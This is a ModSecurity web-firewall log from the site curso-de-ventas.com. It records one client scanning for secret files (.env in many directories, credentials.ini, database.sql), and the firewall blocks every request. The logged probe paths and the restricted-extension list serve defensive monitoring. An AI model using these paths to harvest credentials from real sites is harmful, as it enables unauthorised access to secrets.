[Sat Oct 24 04:53:28.645839 2026] [security2:error] [pid 2607243:tid 2607243] [client 34.14.99.143:56480] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/composer.json"] [unique_id "atxyCFGNStwISql-V9e7pwAAAAs"]
[Sat Oct 24 04:53:28.680969 2026] [security2:error] [pid 2603780:tid 2603780] [client 34.14.99.143:56438] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /config/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/config/.env"] [unique_id "atxyCBVGFs5mlQ9y3KndwgAAABc"]
[Sat Oct 24 04:53:28.681155 2026] [security2:error] [pid 2603780:tid 2603780] [client 34.14.99.143:56438] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/config/.env"] [unique_id "atxyCBVGFs5mlQ9y3KndwgAAABc"]
[Sat Oct 24 04:53:28.681391 2026] [security2:error] [pid 2603780:tid 2603780] [client 34.14.99.143:56438] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/config/.env"] [unique_id "atxyCBVGFs5mlQ9y3KndwgAAABc"]
[Sat Oct 24 04:53:28.721331 2026] [security2:error] [pid 2603807:tid 2603807] [client 34.14.99.143:56460] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /core/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/core/.env"] [unique_id "atxyCI3tkuH7XT-LVCb7MgAAAAE"]
[Sat Oct 24 04:53:28.721481 2026] [security2:error] [pid 2603807:tid 2603807] [client 34.14.99.143:56460] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/core/.env"] [unique_id "atxyCI3tkuH7XT-LVCb7MgAAAAE"]
[Sat Oct 24 04:53:28.721732 2026] [security2:error] [pid 2603807:tid 2603807] [client 34.14.99.143:56460] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/core/.env"] [unique_id "atxyCI3tkuH7XT-LVCb7MgAAAAE"]
[Sat Oct 24 04:53:28.725263 2026] [security2:error] [pid 2607254:tid 2607254] [client 34.14.99.143:56448] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".ini"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "curso-de-ventas.com"] [uri "/credentials.ini"] [unique_id "atxyCHbxMMbsnMsBaxze8QAAABI"]
[Sat Oct 24 04:53:28.725493 2026] [security2:error] [pid 2607254:tid 2607254] [client 34.14.99.143:56448] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/credentials.ini"] [unique_id "atxyCHbxMMbsnMsBaxze8QAAABI"]
[Sat Oct 24 04:53:28.725828 2026] [security2:error] [pid 2607254:tid 2607254] [client 34.14.99.143:56448] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/credentials.ini"] [unique_id "atxyCHbxMMbsnMsBaxze8QAAABI"]
[Sat Oct 24 04:53:28.764622 2026] [security2:error] [pid 2603788:tid 2603788] [client 34.14.99.143:56428] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "curso-de-ventas.com"] [uri "/database.sql"] [unique_id "atxyCO3iNausmbvH7aw5ZgAAAAA"]
[Sat Oct 24 04:53:28.764748 2026] [security2:error] [pid 2603780:tid 2603780] [client 34.14.99.143:56438] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /demo/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/demo/.env"] [unique_id "atxyCBVGFs5mlQ9y3KndwwAAABc"]
[Sat Oct 24 04:53:28.764849 2026] [security2:error] [pid 2603788:tid 2603788] [client 34.14.99.143:56428] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/database.sql"] [unique_id "atxyCO3iNausmbvH7aw5ZgAAAAA"]
[Sat Oct 24 04:53:28.764889 2026] [security2:error] [pid 2603780:tid 2603780] [client 34.14.99.143:56438] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/demo/.env"] [unique_id "atxyCBVGFs5mlQ9y3KndwwAAABc"]
[Sat Oct 24 04:53:28.765103 2026] [security2:error] [pid 2603788:tid 2603788] [client 34.14.99.143:56428] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/database.sql"] [unique_id "atxyCO3iNausmbvH7aw5ZgAAAAA"]
[Sat Oct 24 04:53:28.765155 2026] [security2:error] [pid 2603780:tid 2603780] [client 34.14.99.143:56438] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/demo/.env"] [unique_id "atxyCBVGFs5mlQ9y3KndwwAAABc"]
[Sat Oct 24 04:53:28.790706 2026] [security2:error] [pid 2607843:tid 2607843] [client 34.14.99.143:56464] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /dev/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/dev/.env"] [unique_id "atxyCASwRuPA-FjBma7HIAAAAAI"]
[Sat Oct 24 04:53:28.790881 2026] [security2:error] [pid 2607843:tid 2607843] [client 34.14.99.143:56464] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/dev/.env"] [unique_id "atxyCASwRuPA-FjBma7HIAAAAAI"]
[Sat Oct 24 04:53:28.791174 2026] [security2:error] [pid 2607843:tid 2607843] [client 34.14.99.143:56464] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/dev/.env"] [unique_id "atxyCASwRuPA-FjBma7HIAAAAAI"]
[Sat Oct 24 04:53:28.840488 2026] [security2:error] [pid 2603788:tid 2603788] [client 34.14.99.143:56428] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /frontend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/frontend/.env"] [unique_id "atxyCO3iNausmbvH7aw5ZwAAAAA"]
[Sat Oct 24 04:53:28.840832 2026] [security2:error] [pid 2603788:tid 2603788] [client 34.14.99.143:56428] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/frontend/.env"] [unique_id "atxyCO3iNausmbvH7aw5ZwAAAAA"]
[Sat Oct 24 04:53:28.841134 2026] [security2:error] [pid 2603788:tid 2603788] [client 34.14.99.143:56428] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/frontend/.env"] [unique_id "atxyCO3iNausmbvH7aw5ZwAAAAA"]
[Sat Oct 24 04:53:28.870511 2026] [security2:error] [pid 2607243:tid 2607243] [client 34.14.99.143:56480] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /laravel/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/laravel/.env"] [unique_id "atxyCFGNStwISql-V9e7qgAAAAs"]
[Sat Oct 24 04:53:28.870640 2026] [security2:error] [pid 2607243:tid 2607243] [client 34.14.99.143:56480] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/laravel/.env"] [unique_id "atxyCFGNStwISql-V9e7qgAAAAs"]
[Sat Oct 24 04:53:28.870935 2026] [security2:error] [pid 2607243:tid 2607243] [client 34.14.99.143:56480] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/laravel/.env"] [unique_id "atxyCFGNStwISql-V9e7qgAAAAs"]
[Sat Oct 24 04:53:28.871957 2026] [security2:error] [pid 2603807:tid 2603807] [client 34.14.99.143:56460] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /media/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/media/.env"] [unique_id "atxyCI3tkuH7XT-LVCb7NAAAAAE"]
[Sat Oct 24 04:53:28.872108 2026] [security2:error] [pid 2603807:tid 2603807] [client 34.14.99.143:56460] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/media/.env"] [unique_id "atxyCI3tkuH7XT-LVCb7NAAAAAE"]
[Sat Oct 24 04:53:28.872379 2026] [security2:error] [pid 2603807:tid 2603807] [client 34.14.99.143:56460] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/media/.env"] [unique_id "atxyCI3tkuH7XT-LVCb7NAAAAAE"]
[Sat Oct 24 04:53:28.873269 2026] [security2:error] [pid 2603776:tid 2603776] [client 34.14.99.143:56466] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /new/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/new/.env"] [unique_id "atxyCHX8E6TRudKM7Tq_BgAAABM"]
[Sat Oct 24 04:53:28.873389 2026] [security2:error] [pid 2603776:tid 2603776] [client 34.14.99.143:56466] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/new/.env"] [unique_id "atxyCHX8E6TRudKM7Tq_BgAAABM"]
[Sat Oct 24 04:53:28.873623 2026] [security2:error] [pid 2603776:tid 2603776] [client 34.14.99.143:56466] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/new/.env"] [unique_id "atxyCHX8E6TRudKM7Tq_BgAAABM"]
[Sat Oct 24 04:53:28.876457 2026] [security2:error] [pid 2607254:tid 2607254] [client 34.14.99.143:56448] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /old/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/old/.env"] [unique_id "atxyCHbxMMbsnMsBaxze8wAAABI"]
[Sat Oct 24 04:53:28.876588 2026] [security2:error] [pid 2607254:tid 2607254] [client 34.14.99.143:56448] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/old/.env"] [unique_id "atxyCHbxMMbsnMsBaxze8wAAABI"]
[Sat Oct 24 04:53:28.876860 2026] [security2:error] [pid 2607254:tid 2607254] [client 34.14.99.143:56448] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/old/.env"] [unique_id "atxyCHbxMMbsnMsBaxze8wAAABI"]
[Sat Oct 24 04:53:28.917959 2026] [security2:error] [pid 2603780:tid 2603780] [client 34.14.99.143:56438] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /production/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/production/.env"] [unique_id "atxyCBVGFs5mlQ9y3KndxQAAABc"]
[Sat Oct 24 04:53:28.918100 2026] [security2:error] [pid 2603780:tid 2603780] [client 34.14.99.143:56438] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/production/.env"] [unique_id "atxyCBVGFs5mlQ9y3KndxQAAABc"]
[Sat Oct 24 04:53:28.918331 2026] [security2:error] [pid 2603780:tid 2603780] [client 34.14.99.143:56438] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/production/.env"] [unique_id "atxyCBVGFs5mlQ9y3KndxQAAABc"]
[Sat Oct 24 04:53:28.943075 2026] [security2:error] [pid 2607843:tid 2607843] [client 34.14.99.143:56464] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /public/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/public/.env"] [unique_id "atxyCASwRuPA-FjBma7HIgAAAAI"]
